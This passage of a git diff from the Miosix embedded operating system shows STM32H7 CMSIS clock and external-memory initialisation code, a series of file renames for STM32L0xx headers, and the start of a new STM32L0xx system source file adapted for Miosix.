9}; + +/** + * @} + */ + +/** @addtogroup STM32H7xx_System_Private_FunctionPrototypes + * @{ + */ +#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) + static void SystemInit_ExtMemCtl(void); +#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ + +/** + * @} + */ + +/** @addtogroup STM32H7xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * Initialize the FPU setting, vector table location and External memory + * configuration. + * @param None + * @retval None + */ +void SystemInit (void) +{ + /* FPU settings ------------------------------------------------------------*/ + #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ + #else + #error "FPU disabled!" //By TFT: added a check to be really sure the FPU is on + #endif + /* Reset the RCC clock configuration to the default reset state ------------*/ + /* Set HSION bit */ + RCC->CR |= RCC_CR_HSION; + + /* Reset CFGR register */ + RCC->CFGR = 0x00000000; + + /* Reset HSEON, CSSON , CSION,RC48ON, CSIKERON PLL1ON, PLL2ON and PLL3ON bits */ + RCC->CR &= (uint32_t)0xEAF6ED7F; + + /* Reset D1CFGR register */ + RCC->D1CFGR = 0x00000000; + + /* Reset D2CFGR register */ + RCC->D2CFGR = 0x00000000; + + /* Reset D3CFGR register */ + RCC->D3CFGR = 0x00000000; + + /* Reset PLLCKSELR register */ + RCC->PLLCKSELR = 0x00000000; + + /* Reset PLLCFGR register */ + RCC->PLLCFGR = 0x00000000; + /* Reset PLL1DIVR register */ + RCC->PLL1DIVR = 0x00000000; + /* Reset PLL1FRACR register */ + RCC->PLL1FRACR = 0x00000000; + + /* Reset PLL2DIVR register */ + RCC->PLL2DIVR = 0x00000000; + + /* Reset PLL2FRACR register */ + + RCC->PLL2FRACR = 0x00000000; + /* Reset PLL3DIVR register */ + RCC->PLL3DIVR = 0x00000000; + + /* Reset PLL3FRACR register */ + RCC->PLL3FRACR = 0x00000000; + + /* Reset HSEBYP bit */ + RCC->CR &= (uint32_t)0xFFFBFFFF; + + /* Disable all interrupts */ + RCC->CIER = 0x00000000; + + /* Change the switch matrix read issuing capability to 1 for the AXI SRAM target (Target 7) */ + *((__IO uint32_t*)0x51008108) = 0x00000001; + +#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) + SystemInit_ExtMemCtl(); +#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ + + /* Configure the Vector Table location add offset address ------------------*/ +#ifdef VECT_TAB_SRAM + SCB->VTOR = D1_AXISRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal ITCMSRAM */ +#else + SCB->VTOR = FLASH_BANK1_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ +#endif + +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock , it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is CSI, SystemCoreClock will contain the CSI_VALUE(*) + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(**) + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(***) + * - If SYSCLK source is PLL, SystemCoreClock will contain the CSI_VALUE(*), + * HSI_VALUE(**) or HSE_VALUE(***) multiplied/divided by the PLL factors. + * + * (*) CSI_VALUE is a constant defined in stm32h7xx_hal.h file (default value + * 4 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * (**) HSI_VALUE is a constant defined in stm32h7xx_hal.h file (default value + * 64 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (***)HSE_VALUE is a constant defined in stm32h7xx_hal.h file (default value + * 25 MHz), user has to ensure that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * @param None + * @retval None + */ +void SystemCoreClockUpdate (void) +{ +uint32_t pllp = 2, pllsource = 0, pllm = 2 ,tmp, pllfracen =0 , hsivalue = 0; +float fracn1, pllvco = 0 ; + + /* Get SYSCLK source -------------------------------------------------------*/ + + switch (RCC->CFGR & RCC_CFGR_SWS) + { + case 0x00: /* HSI used as system clock source */ + SystemCoreClock = (uint32_t) (HSI_VALUE >> ((RCC->CR & RCC_CR_HSIDIV)>> 3)); + break; + + case 0x08: /* CSI used as system clock source */ + SystemCoreClock = CSI_VALUE; + break; + + case 0x10: /* HSE used as system clock source */ + SystemCoreClock = miosix::hseFrequency; + break; + + case 0x18: /* PLL1 used as system clock source */ + + /* PLL_VCO = (HSE_VALUE or HSI_VALUE or CSI_VALUE/ PLLM) * PLLN + SYSCLK = PLL_VCO / PLLR + */ + pllsource = (RCC->PLLCKSELR & RCC_PLLCKSELR_PLLSRC); + pllm = ((RCC->PLLCKSELR & RCC_PLLCKSELR_DIVM1)>> 4) ; + pllfracen = RCC->PLLCFGR & RCC_PLLCFGR_PLL1FRACEN; + fracn1 = (pllfracen* ((RCC->PLL1FRACR & RCC_PLL1FRACR_FRACN1)>> 3)); + switch (pllsource) + { + + case 0x00: /* HSI used as PLL clock source */ + hsivalue = (HSI_VALUE >> ((RCC->CR & RCC_CR_HSIDIV)>> 3)) ; + pllvco = (hsivalue/ pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); + break; + + case 0x01: /* CSI used as PLL clock source */ + pllvco = (CSI_VALUE / pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); + break; + + case 0x02: /* HSE used as PLL clock source */ + pllvco = (miosix::hseFrequency / pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); + break; + + default: + pllvco = (CSI_VALUE / pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); + break; + } + pllp = (((RCC->PLL1DIVR & RCC_PLL1DIVR_P1) >>9) + 1 ) ; + SystemCoreClock = (uint32_t) (pllvco/pllp); + break; + + default: + SystemCoreClock = CSI_VALUE; + break; + } + + /* Compute HCLK frequency --------------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = D1CorePrescTable[(RCC->D1CFGR & RCC_D1CFGR_D1CPRE)>> POSITION_VAL(RCC_D1CFGR_D1CPRE_0)]; + /* HCLK frequency */ + SystemCoreClock >>= tmp; +} +#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) +/** + * @brief Setup the external memory controller. + * Called in startup_stm32h7xx.s before jump to main. + * This function configures the external memories (SRAM/SDRAM) + * This SRAM/SDRAM will be used as program data memory (including heap and stack). + * @param None + * @retval None + */ +void SystemInit_ExtMemCtl(void) +{ +#if defined (DATA_IN_ExtSDRAM) + register uint32_t tmpreg = 0, timeout = 0xFFFF; + register __IO uint32_t index; + + /* Enable GPIOD, GPIOE, GPIOF, GPIOG, GPIOH and GPIOI interface + clock */ + RCC->AHB4ENR |= 0x000001F8; + /* Connect PDx pins to FMC Alternate function */ + GPIOD->AFR[0] = 0x000000CC; + GPIOD->AFR[1] = 0xCC000CCC; + /* Configure PDx pins in Alternate function mode */ + GPIOD->MODER = 0xAFEAFFFA; + /* Configure PDx pins speed to 50 MHz */ + GPIOD->OSPEEDR = 0xA02A000A; + /* Configure PDx pins Output type to push-pull */ + GPIOD->OTYPER = 0x00000000; + /* No pull-up, pull-down for PDx pins */ + GPIOD->PUPDR = 0x55555505; + /* Connect PEx pins to FMC Alternate function */ + GPIOE->AFR[0] = 0xC00000CC; + GPIOE->AFR[1] = 0xCCCCCCCC; + /* Configure PEx pins in Alternate function mode */ + GPIOE->MODER = 0xAAAABFFA; + /* Configure PEx pins speed to 50 MHz */ + GPIOE->OSPEEDR = 0xAAAA800A; + /* Configure PEx pins Output type to push-pull */ + GPIOE->OTYPER = 0x00000000; + /* No pull-up, pull-down for PEx pins */ + GPIOE->PUPDR = 0x55554005; + /* Connect PFx pins to FMC Alternate function */ + GPIOF->AFR[0] = 0x00CCCCCC; + GPIOF->AFR[1] = 0xCCCCC000; + /* Configure PFx pins in Alternate function mode */ + GPIOF->MODER = 0xAABFFAAA; + /* Configure PFx pins speed to 50 MHz */ + GPIOF->OSPEEDR = 0xAA800AAA; + /* Configure PFx pins Output type to push-pull */ + GPIOF->OTYPER = 0x00000000; + /* No pull-up, pull-down for PFx pins */ + GPIOF->PUPDR = 0x55400555; + /* Connect PGx pins to FMC Alternate function */ + GPIOG->AFR[0] = 0x00CCCCCC; + GPIOG->AFR[1] = 0xC000000C; + /* Configure PGx pins in Alternate function mode */ + GPIOG->MODER = 0xBFFEFAAA; + /* Configure PGx pins speed to 50 MHz */ + GPIOG->OSPEEDR = 0x80020AAA; + /* Configure PGx pins Output type to push-pull */ + GPIOG->OTYPER = 0x00000000; + /* No pull-up, pull-down for PGx pins */ + GPIOG->PUPDR = 0x40010515; + /* Connect PHx pins to FMC Alternate function */ + GPIOH->AFR[0] = 0xCCC00000; + GPIOH->AFR[1] = 0xCCCCCCCC; + /* Configure PHx pins in Alternate function mode */ + GPIOH->MODER = 0xAAAAABFF; + /* Configure PHx pins speed to 50 MHz */ + GPIOH->OSPEEDR = 0xAAAAA800; + /* Configure PHx pins Output type to push-pull */ + GPIOH->OTYPER = 0x00000000; + /* No pull-up, pull-down for PHx pins */ + GPIOH->PUPDR = 0x55555400; + /* Connect PIx pins to FMC Alternate function */ + GPIOI->AFR[0] = 0xCCCCCCCC; + GPIOI->AFR[1] = 0x00000CC0; + /* Configure PIx pins in Alternate function mode */ + GPIOI->MODER = 0xFFEBAAAA; + /* Configure PIx pins speed to 50 MHz */ + GPIOI->OSPEEDR = 0x0028AAAA; + /* Configure PIx pins Output type to push-pull */ + GPIOI->OTYPER = 0x00000000; + /* No pull-up, pull-down for PIx pins */ + GPIOI->PUPDR = 0x00145555; +/*-- FMC Configuration ------------------------------------------------------*/ + /* Enable the FMC interface clock */ + (RCC->AHB3ENR |= (RCC_AHB3ENR_FMCEN)); + /*SDRAM Timing and access interface configuration*/ + /*LoadToActiveDelay = 2 + ExitSelfRefreshDelay = 6 + SelfRefreshTime = 4 + RowCycleDelay = 6 + WriteRecoveryTime = 2 + RPDelay = 2 + RCDDelay = 2 + SDBank = FMC_SDRAM_BANK2 + ColumnBitsNumber = FMC_SDRAM_COLUMN_BITS_NUM_9 + RowBitsNumber = FMC_SDRAM_ROW_BITS_NUM_12 + MemoryDataWidth = FMC_SDRAM_MEM_BUS_WIDTH_32 + InternalBankNumber = FMC_SDRAM_INTERN_BANKS_NUM_4 + CASLatency = FMC_SDRAM_CAS_LATENCY_2 + WriteProtection = FMC_SDRAM_WRITE_PROTECTION_DISABLE + SDClockPeriod = FMC_SDRAM_CLOCK_PERIOD_2 + ReadBurst = FMC_SDRAM_RBURST_ENABLE + ReadPipeDelay = FMC_SDRAM_RPIPE_DELAY_0*/ + + FMC_Bank5_6->SDCR[0] = 0x00001800; + FMC_Bank5_6->SDCR[1] = 0x00000165; + FMC_Bank5_6->SDTR[0] = 0x00105000; + FMC_Bank5_6->SDTR[1] = 0x01010351; + + /* SDRAM initialization sequence */ + /* Clock enable command */ + FMC_Bank5_6->SDCMR = 0x00000009; + tmpreg = FMC_Bank5_6->SDSR & 0x00000020; + while((tmpreg != 0) && (timeout-- > 0)) + { + tmpreg = FMC_Bank5_6->SDSR & 0x00000020; + } + + /* Delay */ + for (index = 0; index<1000; index++); + + /* PALL command */ + FMC_Bank5_6->SDCMR = 0x0000000A; + timeout = 0xFFFF; + while((tmpreg != 0) && (timeout-- > 0)) + { + tmpreg = FMC_Bank5_6->SDSR & 0x00000020; + } + + FMC_Bank5_6->SDCMR = 0x000000EB; + timeout = 0xFFFF; + while((tmpreg != 0) && (timeout-- > 0)) + { + tmpreg = FMC_Bank5_6->SDSR & 0x00000020; + } + + FMC_Bank5_6->SDCMR = 0x0004400C; + timeout = 0xFFFF; + while((tmpreg != 0) && (timeout-- > 0)) + { + tmpreg = FMC_Bank5_6->SDSR & 0x00000020; + } + /* Set refresh count */ + tmpreg = FMC_Bank5_6->SDRTR; + FMC_Bank5_6->SDRTR = (tmpreg | (0x00000603<<1)); + + /* Disable write protection */ + tmpreg = FMC_Bank5_6->SDCR[1]; + FMC_Bank5_6->SDCR[1] = (tmpreg & 0xFFFFFDFF); + + /*FMC controller Enable*/ + FMC_Bank1->BTCR[0] |= 0x80000000; + + +#endif /* DATA_IN_ExtSDRAM */ + +#if defined(DATA_IN_ExtSRAM) +/*-- GPIOs Configuration -----------------------------------------------------*/ + /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ + RCC->AHB4ENR |= 0x00000078; + + /* Connect PDx pins to FMC Alternate function */ + GPIOD->AFR[0] = 0x00CCC0CC; + GPIOD->AFR[1] = 0xCCCCCCCC; + /* Configure PDx pins in Alternate function mode */ + GPIOD->MODER = 0xAAAA0A8A; + /* Configure PDx pins speed to 100 MHz */ + GPIOD->OSPEEDR = 0xFFFF0FCF; + /* Configure PDx pins Output type to push-pull */ + GPIOD->OTYPER = 0x00000000; + /* No pull-up, pull-down for PDx pins */ + GPIOD->PUPDR = 0x55550545; + + /* Connect PEx pins to FMC Alternate function */ + GPIOE->AFR[0] = 0xC00CC0CC; + GPIOE->AFR[1] = 0xCCCCCCCC; + /* Configure PEx pins in Alternate function mode */ + GPIOE->MODER = 0xAAAA828A; + /* Configure PEx pins speed to 100 MHz */ + GPIOE->OSPEEDR = 0xFFFFC3CF; + /* Configure PEx pins Output type to push-pull */ + GPIOE->OTYPER = 0x00000000; + /* No pull-up, pull-down for PEx pins */ + GPIOE->PUPDR = 0x55554145; + + /* Connect PFx pins to FMC Alternate function */ + GPIOF->AFR[0] = 0x00CCCCCC; + GPIOF->AFR[1] = 0xCCCC0000; + /* Configure PFx pins in Alternate function mode */ + GPIOF->MODER = 0xAA000AAA; + /* Configure PFx pins speed to 100 MHz */ + GPIOF->OSPEEDR = 0xFF000FFF; + /* Configure PFx pins Output type to push-pull */ + GPIOF->OTYPER = 0x00000000; + /* No pull-up, pull-down for PFx pins */ + GPIOF->PUPDR = 0x55000555; + + /* Connect PGx pins to FMC Alternate function */ + GPIOG->AFR[0] = 0x00CCCCCC; + GPIOG->AFR[1] = 0x000000C0; + /* Configure PGx pins in Alternate function mode */ + GPIOG->MODER = 0x00200AAA; + /* Configure PGx pins speed to 100 MHz */ + GPIOG->OSPEEDR = 0x00300FFF; + /* Configure PGx pins Output type to push-pull */ + GPIOG->OTYPER = 0x00000000; + /* No pull-up, pull-down for PGx pins */ + GPIOG->PUPDR = 0x00100555; + +/*-- FMC/FSMC Configuration --------------------------------------------------*/ + /* Enable the FMC/FSMC interface clock */ + (RCC->AHB3ENR |= (RCC_AHB3ENR_FMCEN)); + + /* Configure and enable Bank1_SRAM2 */ + FMC_Bank1->BTCR[4] = 0x00001091; + FMC_Bank1->BTCR[5] = 0x00110212; + FMC_Bank1E->BWTR[4] = 0x0FFFFFFF; + + /*FMC controller Enable*/ + FMC_Bank1->BTCR[0] |= 0x80000000; + + +#endif /* DATA_IN_ExtSRAM */ +} +#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ + + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32H7xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x4.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x4.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x4.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x4.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x6.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x6.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x6.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x6.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x8.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x8.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010xb.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010xb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l010xb.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l010xb.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l011xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l011xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l011xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l011xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l021xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l021xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l021xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l021xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l031xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l031xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l031xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l031xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l041xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l041xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l041xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l041xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l051xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l051xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l051xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l051xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l052xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l052xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l052xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l052xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l053xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l053xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l053xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l053xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l062xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l062xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l062xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l062xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l063xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l063xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l063xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l063xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l071xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l071xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l071xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l071xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l072xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l072xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l072xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l072xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l073xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l073xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l073xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l073xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l081xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l081xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l081xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l081xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l082xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l082xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l082xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l082xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l083xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l083xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l083xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l083xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32L0xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32L0xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.cpp new file mode 100755 index 000000000..21e29eda6 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.cpp @@ -0,0 +1,272 @@ +/** + ****************************************************************************** + * @file system_stm32l0xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M0+ Device Peripheral Access Layer System Source File. + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32l0xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2016 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32l0xx_system + * @{ + */ + +/** @addtogroup STM32L0xx_System_Private_Includes + * @{ + */ + +#include "board_settings.h" +// Miosix: was #include "stm32l7xx.h", but the specific chip is #defined in +// arch_registers_impl.h +#include "interfaces/arch_registers.h" + +#if !defined (MSI_VALUE) + #define MSI_VALUE ((uint32_t)2097152U) /*!< Value of the Internal oscillator in Hz*/ +#endif /* MSI_VALUE */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE ((uint32_t)16000000U) /*!< Value of the Internal oscillator in Hz*/ +#endif /* HSI_VALUE */ + + +/** + * @} + */ + +/** @addtogroup STM32L0xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32L0xx_System_Private_Defines + * @{ + */ +/************************* Miscellaneous Configuration ************************/ + +/* Note: Following vector table addresses must be defined in line with linker + configuration. */ +/*!< Uncomment the following line if you need to relocate the vector table + anywhere in Flash or Sram, else the vector table is kept at the automatic + remap of boot address selected */ +/* #define USER_VECT_TAB_ADDRESS */ + +#if defined(USER_VECT_TAB_ADDRESS) +/*!< Uncomment the following line if you need to relocate your vector Table + in Sram else user remap will be done in Flash. */ +/* #define VECT_TAB_SRAM */ +#if defined(VECT_TAB_SRAM) +#define VECT_TAB_BASE_ADDRESS SRAM_BASE /*!< Vector Table base address field. + This value must be a multiple of 0x200. */ +#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +#else +#define VECT_TAB_BASE_ADDRESS FLASH_BASE /*!< Vector Table base address field. + This value must be a multiple of 0x200. */ +#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +#endif /* VECT_TAB_SRAM */ +#endif /* USER_VECT_TAB_ADDRESS */ + +/******************************************************************************/ +/** + * @} + */ + +/** @addtogroup STM32L0xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32L0xx_System_Private_Variables + * @{ + */ + /* This variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +uint32_t SystemCoreClock = miosix::cpuFrequency; +const uint8_t AHBPrescTable[16] = {0U, 0U, 0U, 0U, 0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U, 6U, 7U, 8U, 9U}; +const uint8_t APBPrescTable[8] = {0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U}; +const uint8_t PLLMulTable[9] = {3U, 4U, 6U, 8U, 12U, 16U, 24U, 32U, 48U}; + +/** + * @} + */ + +/** @addtogroup STM32L0xx_System_Private_FunctionPrototypes + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32L0xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system. + * @param None + * @retval None + */ +void SystemInit (void) +{ + /* Configure the Vector Table location add offset address ------------------*/ +#if defined (USER_VECT_TAB_ADDRESS) + SCB->VTOR = VECT_TAB_BASE_ADDRESS | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ +#endif /* USER_VECT_TAB_ADDRESS */ +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is MSI, SystemCoreClock will contain the MSI + * value as defined by the MSI range. + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) + * or HSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) HSI_VALUE is a constant defined in stm32l0xx_hal.h file (default value + * 16 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSE_VALUE is a constant defined in stm32l0xx_hal.h file (default value + * 8 MHz), user has to ensure 